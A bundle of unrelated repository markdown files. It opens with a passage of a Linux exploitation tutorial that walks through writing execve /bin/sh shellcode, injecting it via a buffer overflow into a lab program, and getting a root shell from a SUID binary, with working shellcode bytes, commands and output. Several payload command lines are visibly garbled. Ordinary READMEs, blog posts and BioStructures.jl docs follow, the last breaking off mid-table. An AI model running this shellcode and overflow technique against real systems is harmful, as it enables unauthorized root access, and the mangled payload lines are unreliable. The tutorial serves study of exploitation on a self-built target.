text:
原文 by [gbmaster](https://gbmaster.wordpress.com)

The next step in the exploitation is to spawn a shell by writing a shellcode that does it and using it to exploit a buffer overflow vulnerability. To do this it is necessary to use the execve system call exported by the Linux kernel: the function is listed in the unistd.h file and it is associated to the number 11. This function transfers the execution flow to the program specified in the arguments and, unless an error during the initialization happens, never returns to the caller. The parameters required by this system call are the following:

* Pathname of the executable in EBX
* Address of the argv vector in ECX
* Address of the envp vector in EDX (it will be NULL here)

So, a sketch of the shellcode could be the following:
``` asm
 section .data

sh_str         db '/bin/sh'
null_ptr       db 0

section .text

global _start

_start:
        mov     eax, 11        ; execve system call number
        mov     ebx, sh_str    ; address of the pathname

        push    0              ; argv[1]
        push    sh_str         ; argv[0]

        mov     ecx, esp       ; pointer to the argv vector
        xor     edx, edx       ; NULL envp
        int     0x80           ; execute execve

        mov     al, 1          ; set up an exit call, just in case
        xor     ebx, ebx
        int     0x80           ; exit(0)
```
This code spawns a shell and passes no arguments to the function itself. Objdump, please:
```
 $ objdump -d payload -M intel

shellcode:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       b8 0b 00 00 00          mov    eax,0xb
 8048085:       bb a0 90 04 08          mov    ebx,0x80490a0
 804808a:       6a 00                   push   0x0
 804808c:       68 a0 90 04 08          push   0x80490a0
 8048091:       89 e1                   mov    ecx,esp
 8048093:       31 d2                   xor    edx,edx
 8048095:       cd 80                   int    0x80
 8048097:       b0 01                   mov    al,0x1
 8048099:       31 db                   xor    ebx,ebx
 804809b:       cd 80                   int    0x80
```
Then again, we’ll have to remove all the null bytes and the references to variables in the data section. Also there’s the 0x0b byte (ASCII for vertical tab) which is interpreted as a separator by scanf (with these functions, it is better to avoid 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x1A and 0x20). Anyway, I decided to get rid of the references to the string in a funny way, this time, just to learn a new technique. The string “/bin//sh” actually has the same effect of “/bin/sh” and this is perfectly testable in a Linux console. Why doing this? Because the length “/bin//sh” is a multiple of 4 and we can put this string (in reversed form) in the stack by using push instructions and, then, retrieving the address through the ESP register. I know this is a little bit confusing, but probably seeing the code would be more clear:
``` asm
 global _start

_start:
	sub     esp, 0x7F

	xor     eax, eax       ; EAX = 0

	push    eax            ; argv[1] = 0
	push    0x68732f2f     ; "hs//"
	push    0x6e69622f     ; "nib/"
        mov     ebx, esp       ; address of the pathname

	push    eax
        mov     edx, esp       ; NULL envp

	push    ebx
        mov     ecx, esp       ; pointer to the argv vector

	add     al, 5
	add     al, 6          ; EAX = 11

        int     0x80           ; execute execve

        mov     al, 1
        xor     ebx, ebx
        int     0x80
```
So, the shellcode is NULL-free and doesn’t have references to anything outside the text section. Why the SUB instruction at the beginning? Well, it’s more for security reasons: you should not forget that **the shellcode goes into the stack and we’re executing a lot of PUSH instructions here**. This means that **one of these PUSH instructions might overwrite the shellcode itself** (believe me, it happens). Anyway, the final result can be checked with objdump, again:
```

 $ objdump -d shellcode -M intel

shellcode:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:       83 ec 7f                sub    esp,0x7f
 8048063:       31 c0                   xor    eax,eax
 8048065:       50                      push   eax
 8048066:       68 2f 2f 73 68          push   0x68732f2f
 804806b:       68 2f 62 69 6e          push   0x6e69622f
 8048070:       89 e3                   mov    ebx,esp
 8048072:       50                      push   eax
 8048073:       89 e2                   mov    edx,esp
 8048075:       53                      push   ebx
 8048076:       89 e1                   mov    ecx,esp
 8048078:       04 05                   add    al,0x5
 804807a:       04 06                   add    al,0x6
 804807c:       cd 80                   int    0x80
 804807e:       b0 01                   mov    al,0x1
 8048080:       31 db                   xor    ebx,ebx
 8048082:       cd 80                   int    0x80
```
So, by repeating the procedure already seen in the previous post, it is possible to complete the payload. First step: identifying the byte sequence of the shellcode.
```
“\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80”
```

It’s time to write it into a file that will be used as input of the program:
```
 $ python -c 'import sys; sys.stdout.write("\x90"*(64-36xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80")' > payload
```
Second step: appending a dummy value for the EBP
```
 $ python -c 'import sys; sys.stdout.write("BBBB> payload
```
Third step: adding the address of the password variable (and we already know that, by the previous post):
```
 $ python -c 'import sys; sys.stdout.write("\x70\xd2\xff\xff> payload
```
Fourth step: test it, just like we did before!
```
 $ echo $$
23315
$ ./example1 < payload
$ echo $$
23315
```
Same process ID. Mmm… This means it **didn’t work**, but why? If I test the shellcode by itself it works, so why shouldn’t it work when used as input of the program? Well, this has more to do with the program itself than with the shellcode. In fact, the scanf function I used to retrieve the console input flushes stdin in such a way that /bin/sh receives an EOF and quits. But this makes everything we did USELESS. Hell! No worries, as it is possible to rearrange it in a slightly different way:
```
 $ echo $$
23315
$ ( cat payload; cat ) | ./example1

echo $$
20868
whoami
user
ls
example1  example1.c  exploit  payload  shellcode  shellcode.asm  shellcode.o
```
Even if we don’t have shell prompt (as the stdin of the shell is not connected to a terminal, sh acts like it is not running in interactive mode), the shell has been spawned and actually replies to commands.

That’s it!

A worthful modification to the example1 source code is shortening the password array size from 64 to 10: in this way there’s not enough space to host the shellcode we designed. We need now 10+4+4 bytes to overflow the buffer, overwrite the saved EBP value and overwrite the return address. By attaching gdb to the running example1 process (just like in the previous post), I found out that now the password buffer is located at 0xFFFFD296. The way the following acts relies on the environment variables, as, in Linux, every program stores them on the stack: we can create one storing the shellcode and then jump there in a similar way saw before.

Yes, yes, this is all doable, but we need to know the address where a given environment variable will be located when a program is loaded. To do this, there’s a nice piece of code taken from the wonderful book “Hacking: The Art of Exploitation, 2nd Edition“, called getenvaddr.c:
``` c

 #include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char *ptr;
    if(argc < 3)
    {
        printf("Usage: %s  \n", argv[0]);
        return 0;
    }

    ptr = getenv(argv[1]); /* Get env var location. */
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; /* Adjust for program name. */
    printf("%s will be at %p\n", argv[1], ptr);

    return 0;
}
```
So, getenvaddr accepts as arguments the environment variable we’re interested into and the program name we’re going to exploit. So, first thing first: we need to write the exploit into the environment variable. Obviously, the exploit we had still rocks:
```
 $ export SHELLCODE=`python -c 'import sys; sys.stdout.write("\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80
```
Now that the environment variable is set, it is possible to use the getenvaddr program:
```

 $ ./getenvaddr SHELLCODE ./example1
SHELLCODE will be at 0xffffd522
```
Cool, we have our address. Now it is definitely easy to exploit the vulnerability, as the overwriting of the return address must be this value: 0xFFFFD522.
```
 $ echo $$
23315
$ ( python -c 'import sys; sys.stdout.write("A"*14d5\xff\xff")'; cat ) | ./example1

echo $$
27609
whoami
user
ls
example1  example1.c  exploit  getenvaddr  getenvaddr.c  payload  shellcode  shellcode.asm  shellcode.o
```
That’s it!

Now let’s say that example1 has SUID rights (it gives the permissions to the user to run the executable with the owner’s rights) and that the owner is root. This scenario can be created with the following commands:
```
 # chown root:root example1
# chmod 4755 example1
# exit
$
```
Let’s try again the same exploit of before and let’s see what happens:
```
 $ echo $$
23315
$ ( python -c 'import sys; sys.stdout.write("A"*14d5\xff\xff")'; cat ) | ./example1

echo $$
27609
whoami
root
```
We gained a root shell. That’s why SUID rights must be treated with extreme care, as, if there are vulnerabilities in the code, these might allow the attacker to execute shellcode with root privileges.

Writing this article was extremely funny, as I had to face some issues I never thought to (i.e. the magical SUB instruction at the beginning of the shell spawning shellcode and the stdin stuff after the shellcode execution). I think that in these things **fun is everything**, and most of the times **losing is fun**.

repository: IMULMUL/LinuxSecNotes

path: /Linux 系统底层知识/Born A Shell.md

filename: Born A Shell.md

repo_name: IMULMUL/LinuxSecNotes


text:
# enter-view.js

Dependency-free JavaScript library to detect when element enters into view. [See demo](https://russellgoldenberg.github.io/enter-view/).

## Usage

```
enterView({
	selector: '.class-name',
	trigger: function(el) {
		el.classList.add('entered');
	}
});
```

## Options

#### selector: [string] *required*
Takes a class or id element selector

#### trigger: [function] *required*
Callback function that returns the element that was triggered

#### offset: [string] *optional* (defaults to 0% = top of element enters bottom of viewport)
Percent (eg. '50%') of how far from the bottom of the viewport to offset the trigger by

license: MIT

branch_name: refs/heads/master

extension: md

license_type: permissive


text:
---
date: '2009-12-25 13:55:57'
layout: post
comments: true
slug: a-nice-interview-on-stl-coding-and-algorithms
status: publish
title: A nice interview on STL, coding and algorithms
wordpress_id: '1183'
categories:
- Code
- Geek stuff
---

[Alexander Stepanov](http://en.wikipedia.org/wiki/Alexander_Stepanov) is the main driver behind the OMFG-that's-amazing[ Standard Template Library](http://www.sgi.com/tech/stl/) for C++. I rather agree with him [on object oriented programming](http://www.antiquark.com/escape/public_html/stepanovusa.html) (OOP):

> I find OOP technically unsound. It attempts to decompose the world in terms of interfaces that vary on a single type. To deal with the real problems you need multisorted algebras - families of interfaces that span multiple types. I find OOP philosophically unsound. It claims that everything is an object. Even if it is true it is not very interesting - saying that everything is an object is saying nothing at all. I find OOP methodologically wrong. It starts with classes. It is as if mathematicians would start with axioms. You do not start with axioms - you start with proofs.  You end with axioms. The same thing is true in programming: you have to start with interesting algorithms. Only when you understand them well, can you come up with an interface that will let them work.

The [rest of the interview](http://www.antiquark.com/escape/public_html/stepanovusa.html) is quite good as well.

repository: phubbard/fnord

extension: markdown

repo_name: phubbard/fnord


text:
---
layout: post
title: "Building a Europe for Business"
date: 2004-05-02 15:09
comments: true
categories: Business
author: Oliver Thylmann
---

I'd like to make some comments to [Loic le Meur's speech on Building a Europe for Business](http://www.loiclemeur.com/english/2004/05/video_clip_of_m.html).

I wouldn't be studying for an MBA if I didn't believe that Business is a very important thing. Founding a company is not easy, and it is full of risk and as Loic le Meur says (check the feed from his speech [here](http://clients.world-television.com/worldeconomicforum_warsaw/_S12078.asp).) taking risks needs to be made something that is seen as positive. Another idea might be to add some kind of security net to company founders. You might be able to link that to a given education that a company founder needs to have, linking in with Loic's focus on education. Well done Loic, even though it was way too short. You touched on many different subjects, potentially too many to keep in the head easily. This needs real discussion. This is important.

As said, there are two options to deal with risk, one being reducing the risk, another making it more desireable. Reducing it would be easier I believe. Making it more desireable would mean makeing us worse off really in our daily life which would be hard. Another option to make the potential payoff so big, that the risk becomes more desireable. Worth more thinking.


text:
# Welcome to the Chess Club of IISER Kolkata!
We heartily welcome you to our chess club as we practice and hone our skills in the game. The primary vision of the club is to act as a platform for players to sharpen their skills in the game, increase their critical thinking and to promote chess in the institute and beyond.

To know more about our club, check out our website: [https://www.iiserkol.ac.in/~chess.activity/](https://www.iiserkol.ac.in/~chess.activity/)
![club image](img.png)
## Registration
You will we provided with your id's (for instance: 18MS112) and mailing addresses (for instance<EMAIL_ADDRESS>once you join the institute. First create an account on [Lichess](https://lichess.org/) if you don't have one, and send a request to join our team [IISER-K Chess Club](https://lichess.org/team/iiserk-chess-club).

Next, to verify your details fill this [form](https://docs.google.com/forms/d/e/1FAIpQLSduDBkqS9zV-vw1UqOaYuuKHgnhztQ1etTXO9fZgVRo6hayYg/viewform?usp=sf_link). Once you do so, you will be added to our chess team on Lichess (provided the details are legit) and you will be able to participate in the online tournaments we conduct.

If you're still not added within a few hours or if you face any trouble, shoot us an email at<EMAIL_ADDRESS>with the details of your
- Name
- Institute ID
- Lichess Username

or reach out to any of the office bearers.

## Resources and Tips
Below are a list of resources for chess enthusiasts of all skill levels to improve their game-
### Noobs (<800)
- **General Play**
  - Think "checks, captures, threats" every move
  - You're mostly not able to hold your pieces, and you're losing them either because the opponent attacked them, and you didnt see, or the opponent forked 2 pieces who both were undefended. So whenever developing pieces, ensure that they are defended.
  - [Strategic Ideas in the Opening Seirawan vs. Miles - GM Yasser Seirawan](https://www.youtube.com/watch?v=Ohf79-nlekc&list=PLVWaFpMwtaGiVZ77NhhvGGGzvF7oFSWcA&index=13)
  - Never resign! (against players at your level and within reason). People blunder a lot, be ready to take advantage!
  - Play as many online games as you can, your best way to increase your level is to keep playing, gaining experience, and analysing your games after the match, and try not to repeat those mistakes again.
  - Play winning chess by Yasser Seirawan
  - [Saint Louis Chess Club Videos](https://www.youtube.com/playlist?list=PLVWaFpMwtaGj-HHi0t8bHxFzNtDwLoWon)

- **Opening**
  - Stick to principles! Develop all your pieces, control the centre, avoid moving the same piece twice, castle quickly, do not move too many pawns on the side you've castled.
  - Development: Two ways to develop by pushing the pawns ahead to gain more area of the board by placing pieces on active squares from their initial position.
  - To control the center, try not exchanging your center pawns with side pawns (also called flank pawns).
  - Make sure to castle your king. If your opponent hasnt castled, and you have, then try to open up the center so that the enemy king is exposed.
  - DO NOT study predefined openings, only play with your logic and opening principles.
  - [Top 10 opening principles](http://www.chessfornovices.com/chessopeningstrategy-top10principles.html)
  - [What Do I Move in the Opening? - Yasser Seirawan](https://www.youtube.com/watch?v=2WxcHxN9nQs&list=PLVWaFpMwtaGiVZ77NhhvGGGzvF7oFSWcA&index=77)

- **Middle Game**
  - Keep looking for undefended pieces of the opponent, try to fork (attack simultaneously) two or more pieces so that you can take one of them

- **End Game**
  - Study the Two queens/rooks vs lone king endgame
  - In the end game, if there are pawns on both sides, then bishops are better than knights, but if they're one side, knights are better, that's because your bishops can keep an eye on both sides.

### Beginners (800-1300)
- **General Play and Openings**
  - Do not hang pieces!
  - Never play f6
  - Try to take chances in your casual games,eg. try to play gambits or openings that are conjugate to your preferred style of play, you'll learn many different styles of play that way. Or for eg. try to sometimes exchange queen for a rook and bishop.
  - [Instead of particular openings, you can read about different opening systems: Ten-system-openings](https://www.chess.com/forum/view/for-beginners/ten-system-openings)
  - [Opening Ideas/Theory - GM Yasser Seirawan](https://www.youtube.com/watch?v=-WEFr1dwqys&list=PLVWaFpMwtaGiVZ77NhhvGGGzvF7oFSWcA&index=6)
  - [Strategic ideas in the opening](https://www.youtube.com/watch?v=Ohf79-nlekc&list=PLVWaFpMwtaGiVZ77NhhvGGGzvF7oFSWcA&index=13)

- **Middle Game**
  - [Improve your tactics](https://www.reddit.com/r/chess/wiki/resources#wiki_tactics)
  - Ask your pieces if they are happy at their positions, and if not, ask them, where would they be the happiest, and then think about how you can achieve that. Try to keep maximum pieces 'happy' on the board, this will improve your position
  - Make sure to castle your king. If your opponent hasnt castled, and you have, then try to open up the center so that the enemy king is exposed.

- **End Game**
  - King and pawn endgames. Recognize wins and draws
  - Common piece mates (KQ vs K, KR vs K)
  - In the end game, if there are pawns on both sides, then bishops are better than knights, but if they're one side, knights are better, that's because your bishops can keep an eye on both sides.
  - [Essential Endgames](https://www.youtube.com/watch?v=ZpeRfZlzVVQ&list=PLVWaFpMwtaGj-HHi0t8bHxFzNtDwLoWon&index=4)

### Intermediate (1300-1800)
- **General Play**
  - Do not hang pieces! Look out for forks!
  - The clock is a weapon.

- **Opening**
  - Learn refutations of common gambits.
  - Winning Chess Openings by Yasser Seirawan
  - [Youtube - Hanging Pawns (has a detailed catalogue on most openings and variations)](https://www.youtube.com/channel/UCkJdvwRC-oGPhRHW_XPNokg)

- **Middle Game**
  - Winning Chess Strategies by Yasser Seirawan
  - [Karpov and his Ruy Lopez- Mastering the Middlegame - GM Ben Finegold](https://www.youtube.com/watch?v=enR0ntHVjG8)

- **End Game**
  - [King, rook and pawn endgames (Lucena, Philidor, Vancura positions), John Bartholomew's videos on these are excellent](https://www.youtube.com/channel/UC6hOVYvNn79Sl1Fc1vx2mYA)
  - Other piece mates (KBB vs K, KBN vs K although extremely uncommon)
  - Learn how to try and force draws in losing positions (perpetual checks, stalemates, exchange down to insufficient mating material)
  - Winning Chess Endings by Yasser Seirawan
  - Pandolfinis endgame course

### Advanced (1800-2200 and above)
> "Always look for a better move" :)

## Contributions
Most of the resources compiled by @sahasatvik and @ParthBibekar. Feel free to contribute to this by submitting a pull request.

branch_name: refs/heads/main


text:
# Usage
Use operations files to run over the base bosh-lite-deployment.yml manifest.
Operations files allow you to overwrite or insert settings over an existing manifest.

# Requirements
- BOSH CLIv2 (https://bosh.io/docs/cli-v2.html)
- If deploying into AWS, a bosh director that can talk to AWS.

# Includes
### virtualbox
- vbox-cloud-config.yml
  - An example config to get started with virtualbox
- ops-vbox.yml
  - An example operations file to get started with virtualbox cloud config example
### aws
- aws-cloud-config.yml
  - Fix up the # FIX ME sections with what is in your infrastructure
  - An example aws cloud config file, you will need to make sure that some items are created in aws (feel free to change the cidr blocks with whatever you want to use, but remember to change up the ops file/cloud config if you change things):
    - VPC with 4 subnets in avalability zone a
      - compilation_a: <IP_ADDRESS>/24
      - mongodb_a: <IP_ADDRESS>/24
      - elasticsearch_a: <IP_ADDRESS>/24
      - graylog_a: <IP_ADDRESS>/24
    - Any security groups to allow them to communicate
    - A way to access the environment (VPN of some sort as graylog and elasticIP is a bit fiddly)
- ops-aws.yml
  - An example operations file to get you started with the aws cloud config example

# Virtualbox Example
Create a directory and run the steps as follows inside that directory, this will create a bosh director in virtualbox and spin up the graylog deployment
```
mkdir /path/to/test/dir
cd /path/to/test/dir

git clone https://github.com/cloudfoundry/bosh-deployment.git

bosh create-env bosh-deployment/bosh.yml --state vbox/state.json -o bosh-deployment/virtualbox/cpi.yml -o bosh-deployment/virtualbox/outbound-network.yml -o bosh-deployment/bosh-lite.yml -o bosh-deployment/bosh-lite-runc.yml -o bosh-deployment/jumpbox-user.yml --vars-store vbox/creds.yml -v director_name="Bosh Lite Director" -v internal_ip=<IP_ADDRESS> -v internal_gw=<IP_ADDRESS> -v internal_cidr=<IP_ADDRESS>/24 -v outbound_network_name=NatNetwork
```
Check that it works
```
bosh -e <IP_ADDRESS> alias-env vbox --ca-cert <(bosh int vbox/creds.yml --path /director_ssl/ca)
```
Get the password
```
bosh int vbox/creds.yml --path /admin_password
```
Log in with admin and the password
```
bosh -e vbox login
```
Make sure you can route to what you build on the director
```
sudo route add -net <IP_ADDRESS>/16 gw <IP_ADDRESS>
```
Clone the graylog repo
```
git clone <repo>/graylog-boshrelease
cd graylog-boshrelease
```
Upload the example vbox-cloud-config.yml file
```
bosh -e vbox ucc examples/vbox-cloud-config.yml
```
Upload the stemcell if you haven't got it already
```
bosh -e vbox upload-stemcell https://bosh.io/d/stemcells/bosh-warden-boshlite-ubuntu-trusty-go_agent
```
Create and upload the release
```
bosh create-release --force
bosh upload-release
```
Run the deployment using the base template, using an operations file to overwrite default values
The ops-vbox.yml file contains operations to make it work in the example vbox-cloud-config run earlier
```
bosh -e vbox -d graylog deploy templates/bosh-lite-deployment -o examples/ops-vbox.yml
```
Once its done, you should be able to navigate to http://<IP_ADDRESS>:9000 in your browser and log in with admin/admin (it can take a bit of time for graylog to start, be patient)

# AWS Example
I won't go into the details of creating an AWS director here, but deploying is basically the same as for virtualbox, upload your AWS cloud config to your AWS director, then run the deployment
```
bosh -e aws-director ucc examples/aws-cloud-config.yml
bosh -e aws-director -d graylog deploy templates/bosh-lite-deployment -o examples/ops-aws.yml
```

repository: shreddedbacon/graylog-boshrelease

repo_name: shreddedbacon/graylog-boshrelease


text:
# Installation from source

0. Verify that you have Go 1.13+ installed

   ```sh
   $ go version
   ```

   If `go` is not installed, follow instructions on [the Go website](https://golang.org/doc/install).

1. Clone this repository

   ```sh
   $ git clone https://github.com/cli/cli.git gh-cli
   $ cd gh-cli
   ```

2. Build and install

   #### Unix-like systems
   ```sh
   # installs to '/usr/local' by default; sudo may be required
   $ make install

   # or, install to a different location
   $ make install prefix=/path/to/gh
   ```

   #### Windows
   ```sh
   # build the `bin\gh.exe` binary
   > go run script/build.go
   ```
   There is no install step available on Windows.

3. Run `gh version` to check if it worked.

   #### Windows
   Run `bin\gh version` to check if it worked.

branch_name: refs/heads/trunk

gha_license_id: MIT


text:
# BioStructures documentation

The BioStructures.jl package provides functionality to manipulate macromolecular structures, and in particular to read and write [Protein Data Bank](http://www.rcsb.org/pdb/home/home.do) (PDB) and mmCIF files.
It is designed to be used for standard structural analysis tasks, as well as acting as a platform on which others can build to create more specific tools.

It compares favourably in terms of performance to other PDB parsers - see some [benchmarks](https://github.com/jgreener64/pdb-benchmarks).
The PDB and mmCIF parsers currently read in the whole PDB without explicit errors (with one exception).
Help can be found on individual functions using `?function_name`.

## Basics

To download a PDB file:

```julia
using BioStructures

# Stored in the current working directory by default
downloadpdb("1EN2")
```

To parse a PDB file into a Structure-Model-Chain-Residue-Atom framework:

```julia
julia> struc = read("/path/to/pdb/file.pdb", PDB)
ProteinStructure 1EN2.pdb with 1 models, 1 chains (A), 85 residues, 754 atoms
```

mmCIF files can be read into the same data structure with `read("/path/to/cif/file.cif", MMCIF)`.
If you want to read an mmCIF file into a dictionary to query yourself (e.g. to access metadata fields), use `MMCIFDict`:

```julia
julia> mmcif_dict = MMCIFDict("/path/to/cif/file.cif")
mmCIF dictionary with 716 fields

julia> mmcif_dict["_entity_src_nat.common_name"]
1-element Array{String,1}:
 "great nettle"
```

A `MMCIFDict` can be accessed in similar ways to a standard dictionary, and if necessary the underlying dictionary of `MMCIFDict` `d` can be accessed with `d.dict`.
Note that the elements of the dictionary are always an `Array{String,1}`, even if only one value was read in or the data is numerical.

Refer to [Downloading PDB files](#Downloading-PDB-files-1) and [Reading PDB files](#Reading-PDB-files-1) sections for more options.

The elements of `struc` can be accessed as follows:

| Command                     | Returns                                                                         | Return type       |
| :-------------------------- | :------------------------------------------------------------------------------ | :---------------- |
| `struc[1]`                  | Model 1                                                                         | `Model`           |
| `struc[1]["A"]`             | Model 1, chain A                                                                | `Chain`           |
| `struc[1]['A']`             | Shortcut to above if the chain ID is a single character                         | `Chain`           |
| `struc["A"]`                | The lowest model (model 1), chain A                                             | `Chain`           |
| `struc["A"]["50"]`          | Model 1, chain A, residue 50                                                    | `AbstractResidue` |
| `struc["A"][50]`            | Shortcut to above if it is not a hetero residue and the insertion code is blank | `AbstractResidue` |
| `struc["A"]["H_90"]`        | Model 1, chain A, hetero residue 90                                             | `AbstractResidue` |
| `struc["A"][50]["CA"]`      | Model 1, chain A, residue 50, atom name CA                                      | `AbstractAtom`    |
| `struc["A"][15]["CG"]['A']` | For disordered atoms, access a specific location                                | `Atom`            |

Disordered atoms are stored in a `DisorderedAtom` container but calls fall back to the default atom, so disorder can be ignored if you are not interested in it.
Disordered residues (i.e. point mutations with different residue names) are stored in a `DisorderedResidue` container.

The idea is that disorder will only bother you if you want it to.
See the [Biopython discussion](http://biopython.org/wiki/The_Biopython_Structural_Bioinformatics_FAQ#How_is_disorder_handled.3F) for more.

Properties can be retrieved as follows:

| Function             | Returns                                                       | Return type                     |
| :------------------- | :------------------------------------------------------------ | :------------------------------ |
| `serial`             | Serial number of an atom                                      | `Int`                           |
| `atomname`           | Name of an atom                                               | `String`                        |
| `altlocid`           | Alternative location ID of an atom                            | `Char`                          |
| `altlocids`          | All alternative location IDs in a `DisorderedAtom`            | `Array{Char,1}`                 |
| `x`                  | x coordinate of an atom                                       | `Float64`                       |
| `y`                  | y coordinate of an atom                                       | `Float64`                       |
| `z`                  | z coordinate of an atom                                       | `Float64`                       |
| `coords`             | coordinates of an atom                                        | `Array{Float64,1}`              |
| `occupancy`          | Occupancy of an atom (default is `1.0`)                       | `Float64`                       |
| `tempfactor`         | Temperature factor of an atom (default is `0.0`)              | `Float64`                       |
| `element`            | Element of an atom (default is `"  "`)                        | `String`                        |
| `charge`             | Charge of an atom (default is `"  "`)                         | `String`                        |
| `residue`            | Residue an atom belongs to                                    | `Residue`                       |
| `ishetero`           | `true` if the residue or atom is a hetero residue/atom        | `Bool`                          |
| `isdisorderedatom`   | `true` if the atom is disordered                              | `Bool`                          |
| `pdbline`            | PDB ATOM/HETATM record for an atom                            | `String`                        |
| `resname`            | Residue name of a residue or atom                             | `String`                        |
| `resnames`           | All residue names in a `DisorderedResidue`                    | `Array{String,1}`               |
| `resnumber`          | Residue number of a residue or atom                           | `Int`                           |
| `sequentialresidues` | Determine if the second residue follows the first in sequence | `Bool`                          |
| `inscode`            | Insertion code of a residue or atom                           | `Char`                          |
| `resid`              | Residue ID of an atom or residue (`full=true` includes chain) | `String`                        |
| `atomnames`          | Atom names of the atoms in a residue, sorted by serial        | `Array{String,1}`               |
| `atoms`              | Dictionary of atoms in a residue                              | `Dict{String, AbstractAtom}`    |
| `isdisorderedres`    | `true` if the residue has multiple residue names              | `Bool`                          |
| `disorderedres`      | Access a particular residue name in a `DisorderedResidue`     | `Residue`                       |
| `chain`              | Chain a residue or atom belongs to                            | `Chain`                         |
| `chainid`            | Chain ID of a chain, residue or atom                          | `String`                        |
| `resids`             | Sorted residue IDs in a chain                                 | `Array{String,1}`               |
| `residues`           | Dictionary of residues in a chain                             | `Dict{String, AbstractResidue}` |
| `model`              | Model a chain, residue or atom belongs to                     | `Model`                         |
| `modelnumber`        | Model number of a model, chain, residue or atom               | `Int`                           |
| `chainids`           | Sorted chain IDs in a model or structure                      | `Array{String,1}`               |
| `chains`             | Dictionary of chains in a model or structure                  | `Dict{String, Chain}`           |
| `structure`          | Structure a model, chain, residue or atom belongs to          | `ProteinStructure`              |
| `structurename`      | Name of the structure an element belongs to                   | `String`                        |
| `modelnumbers`       | Sorted model numbers in a structure                           | `Array{Int,1}`                  |
| `models`             | Dictionary of models in a structure                           | `Dict{Int, Model}`              |

The `strip` keyword argument determines whether surrounding whitespace is stripped for `atomname`, `element`, `charge`, `resname` and `atomnames` (default `true`).

The coordinates of an atom can be set using `x!`, `y!`, `z!` and `coords!`.

## Manipulating structures

Elements can be looped over to reveal the sub-elements in the correct order:

```julia
for mod in struc
    for ch in mod
        for res in ch
            for at in res
                # Do something
            end
        end
    end
end
```

Models are ordered numerically; chains are ordered by chain ID character ordering, except the empty chain is last; residues are ordered by residue number and insertion code with hetero residues after standard residues; atoms are ordered by atom serial.
If you want the first sub-element you can use `first`.
For example `first(struc[1])` gets the first chain in model 1.

`collect` can be used to get arrays of sub-elements.
`collectatoms`, `collectresidues`, `collectchains` and `collectmodels` return arrays of a particular type from a structural element or element array.

Selectors are functions passed as additional arguments to these functions.
Only elements that return `true` when passed to all the selector are retained.
For example:

| Command                                                 | Action                                                            | Return type                |
| :------------------------------------------------------ | :---------------------------------------------------------------- | :------------------------- |
| `collect(struc['A'][50])`                               | Collect the sub-elements of an element, e.g. atoms from a residue | `Array{AbstractAtom,1}`    |
| `collectresidues(struc)`                                | Collect the residues of an element                                | `Array{AbstractResidue,1}` |
| `collectatoms(struc) `                                  | Collect the atoms of an element                                   | `Array{AbstractAtom,1}`    |
| `collectatoms(struc, calphaselector)`                   | Collect the C-alpha atoms of an element                           | `Array{AbstractAtom,1}`    |
| `collectatoms(struc, calphaselector, disorderselector)` | Collect the disordered C-alpha atoms of an element                | `Array{AbstractAtom,1}`    |

The selectors available are:

| Function          | Acts on                             | Selects for                                         |
| :---------------- | :---------------------------------- | :-------------------------------------------------- |
| standardselector  | `AbstractAtom` or `AbstractResidue` | Atoms/residues arising from standard (ATOM) records |
| heteroselector    | `AbstractAtom` or `AbstractResidue` | Atoms/residues arising from hetero (HETATM) records |
| atomnameselector  | `AbstractAtom`                      | Atoms with atom name in a given list                |
| calphaselector    | `AbstractAtom`                      | C-alpha atoms                                       |
| cbetaselector     | `AbstractAtom`                      | C-beta atoms, or C-alpha atoms for glycine residues |
| backboneselector  | `AbstractAtom`                      | Atoms in the protein backbone (CA, N and C)         |
| heavyatomselector | `AbstractAtom`                      | Non-hydrogen atoms                                  |
| hydrogenselector  | `AbstractAtom`                      | Hydrogen atoms                                      |
| resnameselector   | `AbstractAtom` or `AbstractResidue` | Atoms/residues with residue name in a given list    |
| waterselector     | `AbstractAtom` or `AbstractResidue` | Atoms/residues with residue name HOH                |
| notwaterselector  | `AbstractAtom` or `AbstractResidue` | Atoms/residues with residue name not HOH            |
| disorderselector  | `AbstractAtom` or `AbstractResidue` | Atoms/residues with alternative locations           |

It is easy to define your own atom, residue, chain or model selectors.
The below will collect all atoms with x coordinate less than 0:

```julia
xselector(at::AbstractAtom) = x(at) < 0
collectatoms(struc, xselector)
```

Alternatively, you can use an anonymous function:

```julia
collectatoms(struc, at -> x(at) < 0)
```

`countatoms`, `countresidues`, `countchains` and `countmodels` can be used to count elements with the same selector API.
For example:

```julia
julia> countatoms(struc)
754

julia> countatoms(struc, calphaselector)
85

julia> countresidues(struc, standardselector)
85
```

The sequence of a protein can be retrieved by passing a `Chain` or array of residues to `AminoAcidSequence`:

```julia
julia> AminoAcidSequence(struc['A'], standardselector)
85aa Amino Acid Sequence:
RCGSQGGGSTCPGLRCCSIWGWCGDSEPYCGRTCENKCWSGERSDHRCGAAVGNPPCGQDRCCSVHGWCGGGNDYCSGGNCQYRC
```

See [BioSequences.jl](https://github.com/BioJulia/BioSequences.jl) for more on how to deal with sequences.

## Spatial calculations

Various functions are provided to calculate spatial quantities for proteins:

| Command              | Returns                                                                                |
| :------------------- | :----------------------------------------------------------------------------------------------- |
| `distance`           | Minimum distance between two elements                                                            |
| `sqdistance`         | Minimum square distance between two elements                                                     |
| `coordarray`         | Atomic coordinates in Å of an element as a 2D `Array` with each column corresponding to one atom |
| `bondangle`          | Angle between three atoms                                                                        |
| `dihedralangle`      | Dihedral angle defined by four atoms                                                             |
| `omegaangle`         | Omega dihedral angle between a residue and the previous residue                                  |
| `phiangle`           | Phi dihedral angle between a residue and the previous residue                                    |
